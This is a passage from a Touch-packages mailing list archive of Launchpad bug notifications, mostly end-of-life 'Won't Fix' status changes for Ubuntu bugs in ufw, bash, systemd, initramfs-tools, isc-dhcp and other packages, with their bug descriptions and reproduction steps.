  dmi.bios.vendor: Hewlett-Packard
  dmi.bios.version: F.1D
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: 363C
  dmi.board.vendor: Hewlett-Packard
  dmi.board.version: 32.25
  dmi.chassis.type: 10
  dmi.chassis.vendor: Hewlett-Packard
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnHewlett-Packard:bvrF.1D:bd10/05/2010:svnHewlett-Packard:pnHPPaviliondv7NotebookPC:pvr039D222412102:rvnHewlett-Packard:rn363C:rvr32.25:cvnHewlett-Packard:ct10:cvrN/A:
  dmi.product.family: 103C_5335KV
  dmi.product.name: HP Pavilion dv7 Notebook PC
  dmi.product.version: 039D222412102
  dmi.sys.vendor: Hewlett-Packard
  version.compiz: compiz 1:0.9.13.1+17.10.20170901-0ubuntu1
  version.libdrm2: libdrm2 2.4.83-1
  version.libgl1-mesa-dri: libgl1-mesa-dri 17.2.2-0ubuntu1
  version.libgl1-mesa-glx: libgl1-mesa-glx 17.2.2-0ubuntu1
  version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.5-0ubuntu2
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20170309-0ubuntu1
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2

To manage notifications about this bug go to:
https://bugs.launchpad.net/iio-sensor-proxy/+bug/1726160/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1377600] Re: ufw errors after ctr+c interupt

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: ufw (Ubuntu Cosmic)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ufw in Ubuntu.
https://bugs.launchpad.net/bugs/1377600

Title:
  ufw errors after ctr+c interupt

Status in ufw package in Ubuntu:
  Fix Released
Status in ufw source package in Bionic:
  Triaged
Status in ufw source package in Cosmic:
  Won't Fix
Status in ufw source package in Disco:
  Fix Released

Bug description:
  in ufw.util.get_netfilter_capabilities

  ```
  # Cleanup
  cmd([exe, '-F', chain])
  (rc, out) = cmd([exe, '-X', chain])
  if rc != 0:
  raise OSError(errno.ENOENT, out) # pragma: no cover
  ```

  if the `ufw xxx` command is interrupt by ctrl+c, the cleanup is not called,
  so every ufw cmd afterwards cause error:

  ```
  ERROR: initcaps
  [Errno 2] iptables: Chain already exists.
  ```

  I think we should catch error and cleanup in a finally statement. 
  Or cleanup related rules before ufw init.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ufw/+bug/1377600/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1762385] Re: dell_wmi: Unknown key codes

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: linux (Ubuntu Cosmic)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1762385

Title:
  dell_wmi: Unknown key codes

Status in OEM Priority Project:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Released
Status in linux source package in Bionic:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in linux source package in Cosmic:
  Won't Fix
Status in systemd source package in Cosmic:
  Fix Released

Bug description:
  [Impact]

   * Bogus keycode messages produced by the kernel / user annoyance
   * rfkill keyboard shortcuts not working as intended on some Dell machines

  [Test Case]

   * check that there are no spurious kernel messages about unknown keys
  in journalctl upon RFKill key presses

   * check that RFKill key presses work correctly and kill/restore RF
  capabilities

  [Regression Potential]

   * The change is scoped to particular SKUs and thus should only affect them
   * It is related to matching gsd support, which is in-place on xenial and up

  [Solution]
  Cherrypick upstream commit 
https://github.com/systemd/systemd/commit/cab01e9ecf1c69656785e64f5fc94cd4ed09e57f

  [Original Bug report]

  RFKill key produces these messages in kernel log:

  dell_wmi: Unknown key with type 0x0010 and code 0xe008 pressed

  This key code is a notification and should be added as KEY_IGNORE
  here:
  https://github.com/torvalds/linux/blob/master/drivers/platform/x86/dell-
  wmi.c#L263

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-15-generic 4.15.0-15.16
  ProcVersionSignature: Ubuntu 4.15.0-15.16-generic 4.15.15
  Uname: Linux 4.15.0-15-generic x86_64
  ApportVersion: 2.20.9-0ubuntu4
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  dmig   2737 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Mon Apr  9 18:09:03 2018
  InstallationDate: Installed on 2018-03-27 (12 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180327)
  MachineType: Dell Inc. Inspiron 5379
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.15.0-15-generic 
root=UUID=9745e22b-0b19-4a7d-98a0-1a4bc5b19d99 ro rootflags=subvol=@ quiet 
splash vt.handoff=1
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-15-generic N/A
   linux-backports-modules-4.15.0-15-generic  N/A
   linux-firmware 1.173
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 01/31/2018
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.6.0
  dmi.board.name: 0C6J64
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.6.0:bd01/31/2018:svnDellInc.:pnInspiron5379:pvr:rvnDellInc.:rn0C6J64:rvrA00:cvnDellInc.:ct10:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 5379
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/oem-priority/+bug/1762385/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1822776] Re: [SRU] Apply Bash 4.4.20 to fix cpu spinning on built-in wait

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: bash (Ubuntu Cosmic)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bash in Ubuntu.
https://bugs.launchpad.net/bugs/1822776

Title:
  [SRU] Apply Bash 4.4.20 to fix cpu spinning on built-in wait

Status in bash package in Ubuntu:
  Fix Released
Status in bash source package in Bionic:
  Fix Released
Status in bash source package in Cosmic:
  Won't Fix

Bug description:
  [Impact]

  Long running bash loops that create and reap processes will crash,
  hanging at 100% CPU.

  [Test Case]

  A PPA with the proposed fix included is at:

    https://launchpad.net/~bryce/+archive/ubuntu/bash-sru-19-010-1

  Install the PPA with the fix via:

    sudo add-apt-repository ppa:bryce/bash-sru-19-010-1
    sudo apt-get update
    sudo apt-get install bash

  Run this loop for a few days/weeks:

    #!/bin/bash
    while true; do
  sleep 0.5 &
  wait
    done

  Reproducer script:
  
https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1822776/+attachment/5275112/+files/bash-
  crash-test.sh

  It will eventually cause the 'wait' statement to hang, consuming 100%
  after some indeterminate amount of time, dependent on how fast PIDs
  are cycled in the machine.

  The Bash bug report mentions longer running loops, but it seems hash
  collisions are the cause, meaning it's just a matter of chance,
  influenced by how fast PIDs are cycled on the machine.

  [Regression Potential]

  The fix has been reviewed and accepted upstream.  The patch adds a
  test at time of pid determination for if the pid is already in use and
  if so, skip it and pick a different one.  This does change behavior
  slightly in that different pid numbers will be generated in rare
  cases, but nothing should depend on how pids are generated, as the
  behavior is not specified to be anything but random.

  The patch adds a new warning message, "bgp_delete: LOOP: psi (%d) ==
  storage[psi].bucket_next", but this only shows when the original bug
  would have been triggered.

  Using 'apt-get source bash' to get the original source version, I
  created a deb that includes the 4.4.20 patch and have been running it
  since April 2nd. The 100% CPU spinning is solved, and no other
  regressions have been observed.

  Ubuntu 18.04 is already at 4.4.19, which is one patch level behind, so
  this involves linearly progressing to the next version (so not
  skipping patches).

  [Fix]

  Official patch to fix, and to bump to 4.4.20:

  http://ftp.gnu.org/gnu/bash/bash-4.4-patches/bash44-020

  The newest Ubuntu tar.xz with patches I could find at:

  http://archive.ubuntu.com/ubuntu/pool/main/b/bash/

  also didn't have the 4.4.20 patch, so it seems no Ubuntu release has
  the fix yet.

  Although not completely sure, this problem seems to have been
  introduced in the 4.4 version of Bash, so in term of LTS versions,
  18.04 and up are affected.

  [Original Report]
  Bash pre-4.4.20 has a bug in its PID hash table that causes spin-loops when 
spawning sub processes and waiting for them. There is a fix:

  https://ftp.gnu.org/gnu/bash/bash-4.4-patches/bash44-020

  Our application started being affected (locking up) by this since
  migrating from Ubuntu 14.04 to 18.04. Ubuntu 14.04 has bash 4.3.11(1),
  Ubuntu 18.04 has bash 4.4.19 (that is, when running 'bash --version',
  because of their unusual versions as patches, apt shows it as
  4.4.18-2ubuntu1).

  The 4.4-020 version needs to be included. I think it's actually quite
  critical.

  A justification for including the fix would be that a standard
  language feature in a script language is broken, and that it's
  indeterminate when it breaks. Considering the wide spread use of bash,
  I'm surprised not more people have reported issues. My and a client
  started having issues with independently of each other very soon after
  upgrading to an affected version.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1822776/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1825448] Re: gnupg2 autopkgtest 'simple-tests' should be included in x/b/c

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: gnupg2 (Ubuntu Cosmic)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gnupg in Ubuntu.
https://bugs.launchpad.net/bugs/1825448

Title:
  gnupg2 autopkgtest 'simple-tests' should be included in x/b/c

Status in gnupg package in Ubuntu:
  Invalid
Status in gnupg2 package in Ubuntu:
  Fix Released
Status in gnupg source package in Xenial:
  New
Status in gnupg2 source package in Xenial:
  New
Status in gnupg2 source package in Bionic:
  New
Status in gnupg2 source package in Cosmic:
  Won't Fix

Bug description:
  [impact]

  b/c currently only have gpgv-win32 test, which is limited in what it
  tests and what archs it runs on.  additionally, it always fails (see
  bug 1825186).

  x currently has no tests at all for gnupg or gnupg2.

  [test case]

  run autopkgtests for gnupg2 on b/c.

  [regession potential]

  adding a testcase may result in the testcase incorrectly failing in
  the future.

  [other info]

  this test case is cherry-picked from gnupg2 in disco.

  the test case required slight modification for gnupg v1, as 'Key-Type:
  default' only works with v2.  Note that Xenial is the last release
  that carries gnupg v1; Bionic and later carry only gnupg v2.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnupg/+bug/1825448/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1829284] Re: systemd-resolved doesn't support tcp pipelining in b/c

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: systemd (Ubuntu Cosmic)
   Status: Incomplete => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1829284

Title:
  systemd-resolved doesn't support tcp pipelining in b/c

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Incomplete
Status in systemd source package in Cosmic:
  Won't Fix

Bug description:
  [impact]

  with systemd and resolvconf installed, the /etc/resolv.conf file is
  managed by resolvconf, and in bug 1817903 the 'options edns0' option
  is stripped from the systemd stub resolv.conf so no 'options edns0'
  will be present in /etc/resolv.conf (unless added through other means
  than the resolvconf-pull-resolved.service).

  However, in b/c the local systemd stub resolver does not support
  pipelined TCP dns queries, which glibc does by default when falling
  back to TCP dns queries (i.e.,  glibc will perform both A and 
  queries using a single tcp packet, instead of opening separate tcp
  connections for each query).  This results in glibc's dns queries
  always failing, when using TCP.  This can be done by adding 'options
  use-vc' to /etc/resolv.conf, but also happens in glibc when the dns
  response does not fit inside the 512-byte default max, such as for dns
  A lookups with a lot of addresses.  This is explained in more detail
  in bug 1811471.

  What this means is that systems installed with either b or c, and that
  have systemd and resolvconf installed, will experience the problem
  from bug 1811471 - they cannot lookup any address where the response
  exceeds 512 bytes.

  [test case]

  install a bionic or cosmic system, which will have systemd installed,
  and also install resolvconf.  You may need to reboot after installing
  resolvconf to ensure that /etc/resolv.conf has been updated to remove
  the 'options edns0' line.  After verifying that line is not in the
  /etc/resolv.conf file, the test case from bug 1811471 should fail, or
  a simpler one is:

  $ ping toomany.ddstreet.org

  [regression potential]

  any change to systemd and/or resolvconf has a high potential for
  regression.  more details here TBD.

  [other info]

  the best way to fix this is to backport tcp pipelining support in
  systemd-resolved.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1829284/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1832108] Re: unmkinitramfs fails with lz4 compressed initrds

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: initramfs-tools (Ubuntu Cosmic)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1832108

Title:
  unmkinitramfs fails with lz4 compressed initrds

Status in initramfs-tools package in Ubuntu:
  Fix Released
Status in initramfs-tools source package in Cosmic:
  Won't Fix
Status in initramfs-tools source package in Disco:
  Fix Released
Status in initramfs-tools package in Debian:
  Fix Released

Bug description:
  [Impact]

   * Cannot unpack initrds compressed with lz4 due to changes in lz4

  [Test Case]

  $ sudo apt install initramfs-tools lz4 file
  $ mkinitramfs -c lz4 -o foo.img
  $ lsinitramfs foo.img
  cpio: premature end of archive

  [Regression Potential]

   * New lz4cat is more strict w.r.t. enforcing file name extensions,
  thus the fix is to feed a stream to lz4cat instead of asking it to
  open a file. The performance impact should be similar between both
  methods of reading file contents during ls/unmk-initramfs time.

  [Other Info]

  Original bug report:

  unmkinitramfs fails with lz4 compressed initrds

  Note:
  $ lz4cat -t unmkinitramfs_Cz6Yl9
  File extension doesn't match expected LZ4_EXTENSION (.lz4); will not process 
file: unmkinitramfs_Cz6Yl9

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1832108/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1671951] Re: networkd should allow configuring IPV6 MTU

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: cloud-init (Ubuntu Eoan)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1671951

Title:
  networkd should allow configuring IPV6 MTU

Status in systemd:
  Unknown
Status in cloud-init package in Ubuntu:
  Confirmed
Status in netplan.io package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in cloud-init source package in Bionic:
  Confirmed
Status in netplan.io source package in Bionic:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in cloud-init source package in Disco:
  Won't Fix
Status in netplan.io source package in Disco:
  Fix Released
Status in systemd source package in Disco:
  Won't Fix
Status in cloud-init source package in Eoan:
  Won't Fix
Status in netplan.io source package in Eoan:
  Fix Released
Status in systemd source package in Eoan:
  Fix Released
Status in cloud-init source package in Focal:
  Confirmed
Status in netplan.io source package in Focal:
  Fix Released
Status in systemd source package in Focal:
  Fix Released

Bug description:
  = netplan.io =

  [Impact]

   * IPv6 traffic failing to send/receive due to incompatible/low MTU
  setting. Specifically, IPv6 traffic may have higher MTU requirements
  than IPv4 traffic and thus may need to be overridden and/or set to a
  higher value than IPv6 traffic.

  [Test Case]
   * Apply a netplan configuration that specifices ipv6-mtu:

  network:
version: 2
ethernets:
  eth0:
dhcp4: true
dhcp6: true
ipv6-mtu: 6000

   * Check that MTU bytes, is at least IPv6MTUBytes on the interface:

  $ sysctl net.ipv6.conf.eth0.mtu
  net.ipv6.conf.eth0.mtu = 6000

  [Regression Potential]

   * This is a future compatible backport of an additional keyword not
  used by default. It may result in MTU change to a higher value, which
  should not cause loss of connectivity.

  [Other Info]

   * Original bug report below

  = end of netplan.io =

  = systemd =

  [Impact]

   * IPv6 traffic failing to send/receive due to incompatible/low MTU
  setting. Specifically, IPv6 traffic may have higher MTU requirements
  than IPv4 traffic and thus may need to be overridden and/or set to a
  higher value than IPv6 traffic.

  [Test Case]

   * Use IPv6MTUBytes= setting in a .network unit
   * Restart systemd-network
   * Check that there no error messages / warnings about not-recognizing this 
option
   * Check that MTU bytes, is at least IPv6MTUBytes on the interface

  [Regression Potential]

   * This is a future compatible backport of an additional keyword not
  used by default. It may result in MTU change to a higher value, which
  should not cause loss of connectivity.

  [Other Info]

   * Original bug report below

  = end of systemd =

  1) Zesty
  2) systemd-232-19
  3) I need to configure the IPV6 MTU for tunneling by adding an 
IPv6MTUBytes=1480 value in the .network file for an interface with an IPV6 
static address in the [Network] section
  4) networkd does not parse or read the value and does not apply this 
configuration to the interface.

  Upstream has discussed this issue here:

  https://github.com/systemd/systemd/pull/1533

  But it's been closed in favor of only setting via RA.

  However, we know of multiple use-case which are currently supported in
  ifdupdown where we want to retain control over IPV6 MTU values outside
  of PMTU Discovery configurations.

  Some context from those discussions

  >> Client systems that route their ipv6 packets to a 6in4 router also
  >> have to have their ipv6 mtu lowered.  They could lower their link mtu,
  >> so their ipv6 packets are small enough, but that reduces performance
  >> of their ipv4 network.

  Yes.  Anything that creates a PMTUD black hole can result in
  situations where the higher header overhead of IPv6 will cause IPv4 to
  pass but IPv6 traffic to be dropped.

  One example here is egress from an ipsec tunnel wherein the next
  hop MTU is too low for IPv6 datagrams to pass.  Another is VM ->
  whatever -> host bridge -> tunnel ingress.  If the datagram cannot enter
  the tunnel due to size, it is dropped, and an ICMP response uses the
  tunnel address as a source, which may not be routable back to the
  origin.  This one is an issue with IPv4 as well, and is one case where
  manually setting the IPv6 MTU lower than the (also manually set) device
  MTU is of benefit.

  In essence, any of these sort of cases that require an explicit
  setting of the device MTU will likely require a setting of the IPv6 mtu
  as well to account for its larger header overhead.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1671951/+subscriptions


-- 

[Touch-packages] [Bug 1840943] Re: [hint] zlib through due to osp1 regression

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: linux-oem-osp1 (Ubuntu Eoan)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to zlib in Ubuntu.
https://bugs.launchpad.net/bugs/1840943

Title:
  [hint] zlib through due to osp1 regression

Status in linux-oem-osp1 package in Ubuntu:
  New
Status in zlib package in Ubuntu:
  Invalid
Status in linux-oem-osp1 source package in Eoan:
  Won't Fix
Status in zlib source package in Eoan:
  Invalid

Bug description:
  hint zlib through due to osp1 regression

  zlib is blocked in eoan-proposed due to linux-oem-osp1 regression,
  which it cannot have caused as that package is compiled in bionic.

  Please hint zlib through.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux-oem-osp1/+bug/1840943/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847816] Re: storage autopkgtest always fails with linux-{kvm, azure, etc} kernels that don't include scsi_debug module

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: linux-kvm (Ubuntu Eoan)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847816

Title:
  storage autopkgtest always fails with linux-{kvm,azure,etc} kernels
  that don't include scsi_debug module

Status in autopkgtest-cloud:
  Fix Released
Status in linux-kvm package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  Fix Released
Status in linux-kvm source package in Xenial:
  New
Status in systemd source package in Xenial:
  Fix Released
Status in linux-kvm source package in Bionic:
  New
Status in systemd source package in Bionic:
  Fix Released
Status in linux-kvm source package in Disco:
  Won't Fix
Status in systemd source package in Disco:
  Won't Fix
Status in linux-kvm source package in Eoan:
  Won't Fix
Status in systemd source package in Eoan:
  Fix Released
Status in linux-kvm source package in Focal:
  New
Status in systemd source package in Focal:
  Fix Released

Bug description:
  Note: this bug touches on multiple packages:
  - autopkgtest-cloud: merge request open to install 'modules-extra' package
  - systemd: update autopkgtest to skip test if scsi_debug module isn't 
available (SRU template below is for this change)
  - linux-kvm: has CONFIG_SCSI_DEBUG unset, but would be good to have 
scsi_debug module built for this kernel

  [SRU template for systemd]

  [impact]

  the 'storage' autopkgtest requires the 'scsi_debug' module, and if it
  can't load it (and it's not built-in), the test fails.  On some custom
  kernels, this module is included in the new 'linux-modules-extra-*'
  deb which isn't installed by default, so the test always fails when
  doing a reverse-dep autopkgtest using such a kernel's meta pkg.

  Additionally, some custom kernels, like linux-kvm, have SCSI_DEBUG
  disabled entirely; for those kernels, it will never be possible to
  load the scsi_debug module and the test should be skipped.

  [test case]

  run the 'storage' autopkgtest with a custom kernel that doesn't
  provide the scsi_debug module in the standard linux-modules deb, or
  check the autopkgtest.u.c history, for example:

  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-
  focal/focal/amd64/s/systemd/20191209_150835_237a5@/log.gz

  [regression potential]

  as this modifies one of the autopkgtest --setup-commands, a regression
  would most likely cause immediate test failure due to failing to
  install the proper linux-* debs.

  For the systemd 'storage' test change, this only skips the test if the
  scsi_debug module can't be loaded (and isn't already present, i.e.
  loaded or built-in).  Any regression potential from that is low, but
  likely would involve incorrect test skips and/or missing valid
  problems due to skipping the test.

  [scope]

  systemd in all releases needs to have its 'storage' test updated

To manage notifications about this bug go to:
https://bugs.launchpad.net/autopkgtest-cloud/+bug/1847816/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1850820] Re: idhclient

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: isc-dhcp (Ubuntu Eoan)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to isc-dhcp in Ubuntu.
https://bugs.launchpad.net/bugs/1850820

Title:
  idhclient

Status in isc-dhcp package in Ubuntu:
  Fix Released
Status in isc-dhcp source package in Eoan:
  Won't Fix
Status in isc-dhcp source package in Focal:
  Fix Released

Bug description:
  In eon dhclient is running without confinement

  $ ps aux -Z | grep dhclient
  unconfined  root  1004  0.0  0.1   9604  5796 ?  
  Ss   16:48   0:00 dhclient

  This is because the profile is defined with

  /sbin/dhclient flags=(attach_disconnected) {

  but the binary is now at

  /usr/sbin/dhclient

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/isc-dhcp/+bug/1850820/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1851438] Re: cloud-init disk_setup fails to partition disk for Ubuntu18

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: util-linux (Ubuntu Eoan)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to util-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1851438

Title:
  cloud-init disk_setup fails to partition disk for Ubuntu18

Status in cloud-init:
  Fix Released
Status in util-linux package in Ubuntu:
  New
Status in util-linux source package in Xenial:
  New
Status in util-linux source package in Bionic:
  New
Status in util-linux source package in Eoan:
  Won't Fix
Status in util-linux source package in Focal:
  New

Bug description:
  Pasting disk_setup for cloud-config:

  disk_setup:
/dev/xvde:
   layout: True
   overwrite: False
   type: mbr
  fs_setup:
-device: /dev/xvde
 filesystem: ext4
 label: data
 overwrite: false
 partition: auto

  I want to attach and mount a /data disk on the VM using cloud-init so
  I just want to single partition 100% of the disk.

  Error while running the sfdisk command for partitioning the disk (please see 
attached file).
  OS: Ubuntu18

  How I repro-ed it outside cloud-init environment:
  1. Open XenCenter, add a new disk, say /dev/xvdc
  2. Run `/sbin/sfdisk --Linux --unit=S --force /dev/xvdc` and specify start 
sector as 0. Because from the cloud-init logs and source code, I figured that 
it was picking start sector as 0. Save it and see the error.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1851438/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1856045] Re: capabilities set with setcap are not honoured

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: iproute2 (Ubuntu Eoan)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to iproute2 in Ubuntu.
https://bugs.launchpad.net/bugs/1856045

Title:
  capabilities set with setcap are not honoured

Status in iproute2 package in Ubuntu:
  Won't Fix
Status in iproute2 source package in Eoan:
  Won't Fix

Bug description:
  Hi,

  In Ubuntu 19.10 I set capabilities as;

  setcap cap_net_admin,cap_sys_admin+ep /bin/ip
  getcap /bin/ip
  /bin/ip = cap_net_admin,cap_sys_admin+ep

  but;

  > ip addr add 20.20.20.20/32 dev lo
  RTNETLINK answers: Operation not permitted

  *exactly* the same works perfect on 18.04.3 LTS.

  BTW the set of a silly address on "lo" is just an example.
  Nothing works on Ubuntu 19.10

  Regards,

  ProblemType: Bug
  DistroRelease: Ubuntu 19.10
  Package: libcap2-bin 1:2.25-2
  ProcVersionSignature: Ubuntu 5.3.0-24.26-generic 5.3.10
  Uname: Linux 5.3.0-24-generic x86_64
  ApportVersion: 2.20.11-0ubuntu8.2
  Architecture: amd64
  Date: Wed Dec 11 15:27:00 2019
  InstallationDate: Installed on 2019-12-09 (2 days ago)
  InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
  SourcePackage: libcap2
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/iproute2/+bug/1856045/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1856407] Re: nvidia-435 is in eoan, linux-restricted-modules only builds against 430, ubiquity gives me the self-signed modules experience instead of using the Canonical-signed m

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: ubuntu-drivers-common (Ubuntu Eoan)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1856407

Title:
  nvidia-435 is in eoan, linux-restricted-modules only builds against
  430, ubiquity gives me the self-signed modules experience instead of
  using the Canonical-signed modules

Status in linux package in Ubuntu:
  Invalid
Status in linux-restricted-modules package in Ubuntu:
  Invalid
Status in nvidia-graphics-drivers-435 package in Ubuntu:
  Confirmed
Status in ubuntu-drivers-common package in Ubuntu:
  Confirmed
Status in ubuntu-meta package in Ubuntu:
  New
Status in linux source package in Eoan:
  Fix Released
Status in linux-restricted-modules source package in Eoan:
  Fix Released
Status in nvidia-graphics-drivers-435 source package in Eoan:
  Won't Fix
